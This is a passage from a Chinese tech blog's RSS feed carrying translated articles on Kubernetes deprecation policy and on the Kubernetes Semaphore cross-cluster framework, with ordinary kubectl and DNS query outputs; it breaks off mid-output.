&lt;li&gt;&lt;strong&gt;CLI 和命令行参数&lt;/strong&gt;：这一部分内容是针对客户端的。最容易想到的可能就是 &lt;code&gt;kubectl&lt;/code&gt;，其实还包含了 &lt;code&gt;kubelet&lt;/code&gt;、&lt;code&gt;kube-apiserver&lt;/code&gt; 或者 &lt;code&gt;kube-scheduler&lt;/code&gt; 及其子命令和选项等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;功能和行为&lt;/strong&gt;：各种不同成熟度的试验特性是无法用 API 或者 CLI 来表达的，但是它们也应该有自己的淘汰过程和节奏。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;指标&lt;/strong&gt;：最后 Kubernetes 的各个组件还在 &lt;code&gt;/metrics&lt;/code&gt; 端点中提供了大量指标。这些指标可能会在监控等系统中使用，因此也不能直接删除，而需要有一定的淘汰规则。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;rest-对象&#34;&gt;REST 对象&lt;/h2&gt;

&lt;p&gt;REST API 需要遵守一个普遍规则——官宣淘汰之时，API 版本至少要支持：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GA：12 个月或者 3 次发版（取最长时间）&lt;/li&gt;
&lt;li&gt;Beta：9 个月或者 3 次发版（取最长时间）&lt;/li&gt;
&lt;li&gt;Alpha：0 次发版&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;看起来好像非常清晰，其实里面包含了很多其它（可能很难理解）的规则，所以我们先进入示例环节来进行澄清。假设有一个叫做 &lt;code&gt;Task&lt;/code&gt; 的 API 对象（有趣的事实：这是 &lt;code&gt;Pod&lt;/code&gt; 的原名，请参见 &lt;a href=&#34;https://github.com/boddumanohar/kubernetes-first-commit/blob/2c4b3a562ce34cddc3f8218a2c4d11c7310e6d56/pkg/client/client.go#L19&#34; target=&#34;_blank&#34;&gt;First Commit of Kubernetes&lt;/a&gt;）。这个对象处于 GA 状态，其 API 版本为 &lt;code&gt;v1&lt;/code&gt;，淘汰需要经过什么过程呢？&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Kubernetes 版本&lt;/th&gt;
&lt;th&gt;API 版本&lt;/th&gt;
&lt;th&gt;推荐&lt;/th&gt;
&lt;th&gt;行为&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;X&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;此时 &lt;code&gt;Task&lt;/code&gt; 对象处于 GA 状态，并没有进入淘汰周期&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;X+1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v2alpha1&lt;/code&gt;, &lt;code&gt;v1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;引入 &lt;code&gt;v2alpha1&lt;/code&gt;，宣布 &lt;code&gt;Task&lt;/code&gt; 开始淘汰，此时 &lt;code&gt;v2alpha1&lt;/code&gt; 中并不包含 &lt;code&gt;Task&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;X+2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v2alpha2&lt;/code&gt;，&lt;code&gt;v1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用 &lt;code&gt;v2alpha2&lt;/code&gt; 替代 &lt;code&gt;v2alpha1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;X+3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v2beta1&lt;/code&gt;, &lt;code&gt;v1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v2alpha2&lt;/code&gt; 被 &lt;code&gt;v2beta1&lt;/code&gt; 替换&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;X+4&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v2beta2&lt;/code&gt;、&lt;del&gt;&lt;code&gt;v2beta1&lt;/code&gt;&lt;/del&gt;、&lt;code&gt;v1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;引入 &lt;code&gt;v2beta2&lt;/code&gt;，&lt;code&gt;v2beta1&lt;/code&gt; 依旧存在，但是开始淘汰&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;X+5&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v2&lt;/code&gt;、&lt;del&gt;&lt;code&gt;v2beta2&lt;/code&gt;&lt;/del&gt;、&lt;del&gt;&lt;code&gt;v2beta1&lt;/code&gt;&lt;/del&gt;、&lt;del&gt;&lt;code&gt;v1&lt;/code&gt;&lt;/del&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v1&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;引入 &lt;code&gt;v2&lt;/code&gt;，包括首选使用的 &lt;code&gt;v1&lt;/code&gt; 在内的所有其他版本进入淘汰周期&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;X+6&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v2&lt;/code&gt;、&lt;del&gt;&lt;code&gt;v2beta2&lt;/code&gt;&lt;/del&gt;、&lt;del&gt;&lt;code&gt;v2beta1&lt;/code&gt;&lt;/del&gt;、&lt;del&gt;&lt;code&gt;v1&lt;/code&gt;&lt;/del&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;没有移除任何 API，但是 &lt;code&gt;v2&lt;/code&gt; 已经成为首选版本&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;X+7&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v2&lt;/code&gt;、&lt;del&gt;&lt;code&gt;v2beta2&lt;/code&gt;&lt;/del&gt;、&lt;del&gt;&lt;code&gt;v1&lt;/code&gt;&lt;/del&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;移除 &lt;code&gt;v2beta1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;X+8&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v2&lt;/code&gt;、&lt;del&gt;&lt;code&gt;v1&lt;/code&gt;&lt;/del&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;移除 &lt;code&gt;v2beta2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;X+9&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v2&lt;/code&gt;、&lt;del&gt;&lt;code&gt;v1&lt;/code&gt;&lt;/del&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;没有什么变化，按照规则，&lt;code&gt;v1&lt;/code&gt; 必须继续存活一个版本&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;X+10&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;最终删除了 &lt;code&gt;v1&lt;/code&gt;，其中的 &lt;code&gt;Task&lt;/code&gt; 对象也宣告终结&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;从上表来看，如果在 &lt;code&gt;v2alpha1&lt;/code&gt; 开始淘汰 &lt;code&gt;Task&lt;/code&gt; 对象，就需要 9 个版本才能最终完成。读者需要注意的是，根据&lt;a href=&#34;https://github.com/kubernetes/enhancements/tree/master/keps/sig-release/2572-release-cadence&#34; target=&#34;_blank&#34;&gt;当下的发布节奏&lt;/a&gt;，每年发版三次，整个淘汰流程可能需要三年多。&lt;/p&gt;

&lt;p&gt;有些对象虽然没进入 GA，但是用户已经将其视为 GA 并进行使用。例如 &lt;a href=&#34;https://opensource.googleblog.com/2020/09/kubernetes-ingress-goes-ga.html&#34; target=&#34;_blank&#34;&gt;1.19 中才进入 GA 的 Ingress&lt;/a&gt;，或者 &lt;a href=&#34;https://kubernetes.io/blog/2021/04/09/kubernetes-release-1.21-cronjob-ga/&#34; target=&#34;_blank&#34;&gt;1.21 的 CronJob&lt;/a&gt;。这种 &lt;code&gt;beta&lt;/code&gt; 甚至是 &lt;code&gt;alpha&lt;/code&gt; 的版本，淘汰节奏就不会这么宽松了。要检查资源所属的分类，可以运行 &lt;code&gt;kubectl api-resources | grep beta&lt;/code&gt;，读取所有集群中的所有 &lt;code&gt;beta&lt;/code&gt; API 对象类型。&lt;/p&gt;

&lt;p&gt;REST 对象字段成员、常量以及对象结构，淘汰规则跟对象是一致的。也就是说，&lt;code&gt;imagePullPolicy&lt;/code&gt; 中使用的 &lt;code&gt;Always&lt;/code&gt;、&lt;code&gt;IfNotPresent&lt;/code&gt; 和 &lt;code&gt;Never&lt;/code&gt; 不会随机变化也不会从一节挪到另一节。&lt;/p&gt;

&lt;p&gt;例如 &lt;code&gt;PodSecurityPolicy&lt;/code&gt; 可能是近期的一个最大变化。这个 API 对象会从 &lt;code&gt;v1beta1&lt;/code&gt; 转向 EOL，在 &lt;code&gt;v1.21&lt;/code&gt; 中开始淘汰，在 &lt;code&gt;v1.25&lt;/code&gt; 中被移除。详情可参见 &lt;a href=&#34;https://github.com/kubernetes/enhancements/blob/master/keps/sig-auth/2579-psp-replacement/README.md/&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;KEP_2579&lt;/code&gt;&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;另一个进行中的重要淘汰就是 &lt;code&gt;selfLink&lt;/code&gt; 字段，这是 &lt;a href=&#34;https://github.com/kubernetes/enhancements/tree/master/keps/sig-api-machinery/1164-remove-selflink&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;KEP-1164&lt;/code&gt;&lt;/a&gt; 中的一部分，这一变更的过程记录在 &lt;a href=&#34;https://github.com/kubernetes/enhancements/issues/1164&#34; target=&#34;_blank&#34;&gt;Github Issue&lt;/a&gt; 之中。&lt;/p&gt;

&lt;p&gt;如果你有兴趣了解其它的淘汰过程，希望了解其中的逻辑关系以及整个流程，可以在 &lt;a href=&#34;https://github.com/kubernetes/enhancements&#34; target=&#34;_blank&#34;&gt;kubernetes/enhancements repository&lt;/a&gt; 搜索包含 &lt;code&gt;deprecate&lt;/code&gt; 关键字的 KEP。&lt;/p&gt;

&lt;h2 id=&#34;客户端和参数&#34;&gt;客户端和参数&lt;/h2&gt;

&lt;p&gt;和 REST 对象类似，&lt;code&gt;kubectl&lt;/code&gt; 和 &lt;code&gt;kubelet&lt;/code&gt; 的子命令及其参数也是有自己的淘汰策略的。&lt;/p&gt;

&lt;p&gt;这部分的规则比前面的案例要简单，对于 &lt;code&gt;kubectl&lt;/code&gt; 这样的面对客户的组件来说：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GA：12 个月或者两次发版（取最长时间）&lt;/li&gt;
&lt;li&gt;Beta：3 个月或者 1 次发版（取最长时间）&lt;/li&gt;
&lt;li&gt;Alpha：0 次发版&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;对于 &lt;code&gt;kubelet&lt;/code&gt;、&lt;code&gt;kube-apiserver&lt;/code&gt; 或者 &lt;code&gt;kube-scheduler&lt;/code&gt; 这样的面向管理员的组件：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;GA：12 个月或者两次发版（取最长时间）&lt;/li&gt;
&lt;li&gt;Beta：3 个月或者 1 次发版（取最长时间）&lt;/li&gt;
&lt;li&gt;Alpha：0 次发版&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;近期这方面的最知名案例应该算是 &lt;code&gt;kubelet&lt;/code&gt; 中的 &lt;code&gt;dockershim&lt;/code&gt; 了。在 &lt;a href=&#34;https://github.com/kubernetes/enhancements/tree/master/keps/sig-node/2221-remove-dockershim&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;KEP-2221&lt;/code&gt;&lt;/a&gt; 中讲到，在 &lt;code&gt;v1.20&lt;/code&gt; 中设置淘汰，在 &lt;code&gt;v1.24&lt;/code&gt; 中进行删除。&lt;/p&gt;

&lt;p&gt;这方面的另一个显著目标就是 &lt;code&gt;seccomp&lt;/code&gt; Profile 即将 &lt;code&gt;GA&lt;/code&gt;，这一过程在 &lt;a href=&#34;https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/135-seccomp/README.md&#34; target=&#34;_blank&#34;&gt;KEP-135&lt;/a&gt; 中进行跟进。这个特性并不会真正地对参数和 CLI 产生影响，但是它的 &lt;code&gt;GA&lt;/code&gt; 过程会要求淘汰 &lt;code&gt;kubelet&lt;/code&gt; 的 &lt;code&gt;--seccomp-profile-root&lt;/code&gt;，详情请参见 &lt;a href=&#34;https://github.com/kubernetes/enhancements/blob/master/keps/sig-node/135-seccomp/README.md#seccomp-root-path-configuration&#34; target=&#34;_blank&#34;&gt;SIG Node 文档&lt;/a&gt;。&lt;/p&gt;

&lt;p&gt;所以这一节的淘汰过程是比较较宽松的，但是如果你正在自动化过程中使用 &lt;code&gt;kubectl alpha&lt;/code&gt;，最好在升级集群和 CLI 之前检查一下它的淘汰情况。&lt;/p&gt;

&lt;h2 id=&#34;feature-gate&#34;&gt;Feature Gate&lt;/h2&gt;

&lt;p&gt;Kubernetes 每个版本中都会包含很多的实验性功能。这些功能被称为 &lt;code&gt;Feature Gate&lt;/code&gt;，它们使用 Key/Value 形式的开关进行控制。&lt;/p&gt;

&lt;p&gt;这些特性既然是用于试验的，其淘汰策略自然和其它的 Kubernetes 对象有所不同。随着特性的逐步成熟，它的 Feature Gate 也会发生变化。Alpha 阶段的功能，其 Feature Gate 会被缺省关闭；而 Beta 阶段的功能则会缺省打开；如果该功能进入 GA，对应的 Feature Gate 就不再需要了，会被淘汰，无法操作。&lt;/p&gt;

&lt;p&gt;Alpha 功能可能随时消失；Beta 功能可能会在 1 次发版以后删除；进入 GA 的功能则会在两次发版后删除。&lt;/p&gt;

&lt;p&gt;这方面的最好例子就是&lt;a href=&#34;https://kubernetes.io/docs/reference/command-line-tools-reference/feature-gates/&#34; target=&#34;_blank&#34;&gt;官方的 Feature Gate 列表&lt;/a&gt;。以其中包含的 &lt;code&gt;AffinityInAnnotations&lt;/code&gt; 为例，它就是从 Alpha 淘汰的；而 &lt;code&gt;BlockVolume&lt;/code&gt;、&lt;code&gt;DryRun&lt;/code&gt; 或者 &lt;code&gt;EndpointSlice&lt;/code&gt; 则已经进入了 GA。我还没有看到过有从 Beta 被淘汰的 Feature Gate。&lt;/p&gt;

&lt;p&gt;如果打开了某些 Feature Gate，在集群升级之前一定要检查一下，防止一些特性因升级被删除。&lt;/p&gt;

&lt;h2 id=&#34;指标&#34;&gt;指标&lt;/h2&gt;

&lt;p&gt;最后一个需要关注的就是监控指标，可能会有监控工具对指标进行聚合和消费，因此其淘汰过程也是需要多加小心的。和前面章节中的内容不同，指标只分成两类——稳定和 Alpha，声明淘汰之后，稳定指标可以在 3 次发版之后移除，Alpha 可以随时移除。&lt;/p&gt;

&lt;p&gt;例如 &lt;a href=&#34;https://github.com/kubernetes/kubernetes/pull/83836&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;rest_client_request_latency_seconds&lt;/code&gt;&lt;/a&gt; 就是一个值得观察的指标淘汰案例，这个过程在 &lt;a href=&#34;https://v1-17.docs.kubernetes.io/docs/setup/release/notes/#deprecated-changed-metrics&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;v1.17&lt;/code&gt; 的版本说明&lt;/a&gt;里体现。&lt;/p&gt;

&lt;p&gt;如果想要了解更多监控指标生命周期的问题，可以查看一下&lt;a href=&#34;https://kubernetes.io/docs/concepts/cluster-administration/system-metrics/&#34; target=&#34;_blank&#34;&gt;系统指标的相关文档&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;现今很多项目会采用“有破坏性的快速演进”方法来进行淘汰工作，其中往往会包含繁杂的手工操作，所以 Kubernetes 这样的大项目提出了如此深思熟虑的启用过程，让用户有时间来进行有计划的迁移，这是让人非常愉快的。&lt;/p&gt;

&lt;p&gt;那么这篇文章的要点在哪里：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;所有东西都可能淘汰？是的？&lt;/li&gt;
&lt;li&gt;需要担心吗？显然不用。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;看看淘汰的时间线长度，就知道无需担心突然袭击了。但是为长远计，应该检查版本说明，注意其中是否有你正在使用的 Alpha 功能。还应该阅读 &lt;a href=&#34;https://kubernetes.io/docs/reference/using-api/deprecation-guide/&#34; target=&#34;_blank&#34;&gt;淘汰 API 指南&lt;/a&gt;，其中会列出所有未来将要移除的 API 对象。最后要说明的是，外部供应商的 CRD 的生命周期是自行负责的，可能和官方策略并不一致。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes Semaphore：模块化、无侵入的跨集群通信框架</title>
      <link>/post/k8s-semaphore-intro/</link>
      <pubDate>Thu, 07 Oct 2021 16:58:34 +0800</pubDate>
      <guid>/post/k8s-semaphore-intro/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://uw-labs.github.io/blog/kubernetes,/multicluster/2021/07/21/kube-semaphore-intro.html&#34; target=&#34;_blank&#34;&gt;Kubernetes Semaphore: A modular and nonintrusive framework for cross cluster communication&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://uw-labs.github.io/blog/&#34; target=&#34;_blank&#34;&gt;UW Labs&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&#34;问题&#34;&gt;问题&lt;/h2&gt;

&lt;p&gt;我们有一个环境，其中包含分属三个不同供应商（AWS、GCP 和私有云）的三个集群，我们希望不同集群中运行的应用能够互相通信，以及：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;跨集群的 Pod 网络和加密能力；&lt;/li&gt;
&lt;li&gt;访问远端 Kubernetes Service 的能力；&lt;/li&gt;
&lt;li&gt;用策略来放行远端集群特定应用，使之能够访问本地端点。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我们有一个跨集群的三层网络，这样三个集群的节点就能互相访问了。每个集群都是在各个供应商子网中申请的节点：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AWS：10.66.21.0/24&lt;/li&gt;
&lt;li&gt;GCP：10.22.20.0/24&lt;/li&gt;
&lt;li&gt;私有云：10.88.0.0/24&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;三个集群的 Pod 网络分配如下：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;AWS：10.2.0.0/16&lt;/li&gt;
&lt;li&gt;GCP：10.4.0.0/16&lt;/li&gt;
&lt;li&gt;私有云：10.6.0.0/16&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;依赖项&#34;&gt;依赖项&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Calico CNI：在所有集群中使用 Calico CNI，方案中对 Calico 具有一定依赖；&lt;/li&gt;
&lt;li&gt;CoreDNS：Semaphore-Service-Mirror 对此有依赖；&lt;/li&gt;
&lt;li&gt;跨集群的三层网络。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;现有方案&#34;&gt;现有方案&lt;/h2&gt;

&lt;p&gt;我们对 Istio、Linkerd、Consul 进行了评估，还直接编写了自己的 Envoy Proxy 配置工具。这些方案都能提供上述大部分甚至全部的功能。但是我们认为他们的性价比并不完全适合我们的环境。不同集群之中运行的不同应用构成的网格结构并不总是让人有兴趣的，其中提供的大量功能也无法让所有人受益。我们希望避免使用 Sidecar Proxy，也回避随之而来的额外开销，并确保我们的程序保持尽可能的独立，不受跨集群通信解决方案的影响。&lt;/p&gt;

&lt;h2 id=&#34;设计&#34;&gt;设计&lt;/h2&gt;

&lt;p&gt;上面既然提到要避开 Sidecar 代理，我们希望用一种对运维人员和用户都较为简单的方式来解决问题。&lt;/p&gt;

&lt;p&gt;理想情况下，每个目标都应该以相互隔离的方法来达成——假设用户只是需要对 Pod 通信进行加密，那么只要进行单独的部署即可。对于新用户来说，只需要少量的配置就可以对方案进行试用，并且可以轻松回退。&lt;/p&gt;

&lt;h2 id=&#34;方案&#34;&gt;方案&lt;/h2&gt;

&lt;p&gt;Kube-Semaphore 是一个轻量级框架，为不同 Kubernetes 集群之间的应用，提供了简单安全的通信能力，并且无需对应用和清单进行修改。&lt;/p&gt;

&lt;p&gt;这不是一个服务网格方案，而是要为远端集群提供服务端点和防火墙规则。&lt;/p&gt;

&lt;p&gt;方案由三个独立的工具组成&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Semaphore-Wireguard：负责 Kubernetes 集群之间的流量加密；&lt;/li&gt;
&lt;li&gt;Semaphore-Service-Mirror：负责在无需外部负载均衡器参与的情况下，将一个集群中的服务暴露到另一个集群之中；&lt;/li&gt;
&lt;li&gt;Semaphore-Policy：负载在跨集群的 Pod 间通信里创建防火墙规则。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;为了小型、轻量和尽可能的安全，这个组件是用 Go 编写的，并使用了 Kubernetes 和 Calico 的客户端。远端集群上的部署内容很小，本地控制器仅需要一系列的 Service Account，满足 Watch 资源的权限需求即可。&lt;/p&gt;

&lt;h2 id=&#34;路由和加密&#34;&gt;路由和加密&lt;/h2&gt;

&lt;p&gt;Semaphore-Wireguard 负责在不同集群的节点之间进行加密通信，并在本地主机上加入访问远端 Pod 子网的路由。每个集群的每个节点上都会运行一个 WireGuard 管理器，负责节点之间的点到点通信。它负责生成本地密钥并发现所有远端密钥和端点，并配置与所有远程节点的对等关系。此外，它还负责更新本地路由表，以便通过主机的 WireGuard 接口将所有流量导向远程 Pod 子网。因此，Pod 可以利用所有集群中的节点之间创建的 WireGuard 网状结构，触达远程集群上的 Pod。&lt;/p&gt;

&lt;p&gt;WireGuard 和 Calico 的集群内通信管理协作，形成了所有集群所有节点之间的网状结构，WireGuard 网络承担了节点之间的通信。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/utilitywarehouse/semaphore-wireguard/tree/main/deploy/example&#34; target=&#34;_blank&#34;&gt;Semaphore WireGuard 部署样例&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;下图表达了 WireGuard 形成的主机网格，其中的 &lt;code&gt;merit&lt;/code&gt; 就是我们的私有集群：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/semaphore-wireguard-full-mesh-example.png&#34; alt=&#34;semaphore-wireguard-full-mesh-example&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;service&#34;&gt;Service&lt;/h2&gt;

&lt;p&gt;Semaphore-Service-Mirror 是一个控制器，负责在不同 Kubernetes 集群之间复制服务。此处的镜像服务代表的是一个本地服务，其端点处于远端集群。&lt;/p&gt;

&lt;p&gt;镜像控制器会在本地集群创建服务，并用远程集群中 Pod 的地址来更新端点列表，最终形成一个 ClusterIP 类型的 Service。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/utilitywarehouse/semaphore-service-mirror/tree/master/deploy/example&#34; target=&#34;_blank&#34;&gt;控制器部署样例&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;例如 AWS 集群上有一个 Service 对象：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl --context=aws --namespace=sys-log get service fluentd
NAME      TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)             AGE
fluentd   ClusterIP   10.3.88.18   &amp;lt;none&amp;gt;        8888/TCP,8889/TCP   164d
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;它包含的端点：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl --context=aws --namespace=sys-log get endpoints fluentd
NAME      ENDPOINTS                                                  AGE
fluentd   10.2.3.19:8889,10.2.4.19:8889,10.2.7.18:8889 + 3 more...   164d
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;镜像控制器会在 &lt;code&gt;semaphore-service-mirror&lt;/code&gt; 所在的命名空间 &lt;code&gt;sys-semaphore&lt;/code&gt; 中创建对应的 Service 和 Endpoint：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl --context=gcp --namespace=sys-semaphore get service | grep fluentd
aws-sys-log-73736d-fluentd   ClusterIP   10.5.184.192   &amp;lt;none&amp;gt;        8888/TCP,8889/TCP   25d

$ kubectl --context=gcp --namespace=sys-semaphore get endpoints | grep fluentd
aws-sys-log-73736d-fluentd   10.2.3.19:8889,10.2.4.19:8889,10.2.7.18:8889 + 3 more...   17d
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们会发现，这个 Service 指向是远程集群：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl --context=gcp --namespace=sys-semaphore describe service aws-sys-log-73736d-fluentd | grep Endpoints
Endpoints:         10.2.3.19:8888,10.2.4.19:8888,10.2.7.18:8888
Endpoints:         10.2.3.19:8889,10.2.4.19:8889,10.2.7.18:8889
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;控制器会监控远端资源，并根据事件进行更新，这样镜像服务就会及时地指向可用的端点。&lt;/p&gt;

&lt;p&gt;最后对 CoreDNS &lt;a href=&#34;https://github.com/utilitywarehouse/semaphore-service-mirror#coredns-config-example&#34; target=&#34;_blank&#34;&gt;进行配置&lt;/a&gt;，就能够更好地进行解析了：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ drill fluentd.sys-log.svc.cluster.aws
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, rcode: NOERROR, id: 51067
;; flags: qr aa rd ; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 
;; QUESTION SECTION:
;; fluentd.sys-log.svc.cluster.aws.     IN      A

;; ANSWER SECTION:
fluentd.sys-log.svc.cluster.aws.        5       IN      A       10.5.184.192
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这样我们的 Pod 在无需关注镜像细节的情况下使用友好的服务名称了。&lt;/p&gt;

&lt;h2 id=&#34;policy&#34;&gt;Policy&lt;/h2&gt;

&lt;p&gt;Semaphore-Policy 是一个用于创建防火墙策略的组件，用于限制来自远端集群的访问。这个组件会创建用于 Calico 网络策略的 IP 组，来定义允许发起的流量。控制器的唯一任务就是根据标签选择器来监控远端集群的 Pod，然后根据监控结果在本地创建 NetworkSets。接下来，可以使用简单的标签来描述 Calico Network Policy，方便地实现跨集群防火墙规则。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;https://github.com/utilitywarehouse/semaphore-policy/tree/main/deploy&#34; target=&#34;_blank&#34;&gt;策略控制器部署样例&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;假设 GCP 集群中存在如下部署：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl --context=gcp --namespace=sys-log get po -o wide -l policy.semaphore.uw.io/name=forwarder
NAME              READY   STATUS    RESTARTS   AGE     IP          NODE                                      NOMINATED NODE   READINESS GATES
forwarder-4jdm6   1/1     Running   0          3d20h   10.4.1.3    worker-k8s-exp-1-4l87.c.uw-dev.internal   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
forwarder-6ztl4   1/1     Running   0          3d20h   10.4.0.13   worker-k8s-exp-1-2868.c.uw-dev.internal   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
forwarder-klxdc   1/1     Running   0          4h27m   10.4.4.2    master-k8s-exp-1-j5f8.c.uw-dev.internal   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
forwarder-m9k27   1/1     Running   0          4h27m   10.4.5.2    master-k8s-exp-1-fc0b.c.uw-dev.internal   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
forwarder-n6nsn   1/1     Running   0          4h27m   10.4.3.3    master-k8s-exp-1-31rv.c.uw-dev.internal   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
forwarder-n8vnj   1/1     Running   0          3d20h   10.4.2.4    worker-k8s-exp-1-mdd7.c.uw-dev.internal   &amp;lt;none&amp;gt;           &amp;lt;none&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这是一个 &lt;code&gt;sys-log&lt;/code&gt; 命名空间里名为 &lt;code&gt;forwarder&lt;/code&gt; 的 DaemonSet。为了让控制器在远程集群中创建所需资源，需要给这个 Daemonset 中的 Pod 加入标签 &lt;code&gt;policy.semaphore.uw.io/name=forwarder&lt;/code&gt;。加入标签之后，AWS 集群中的控制器就会创建对应的 &lt;code&gt;GlobalNetworkSet&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl --context=aws describe GlobalNetworkSet gcp-sys-log-forwarder
Name:         gcp-sys-log-forwarder
Namespace:
Labels:       managed-by=semaphore-policy
              policy.semaphore.uw.io/cluster=gcp
              policy.semaphore.uw.io/name=forwarder
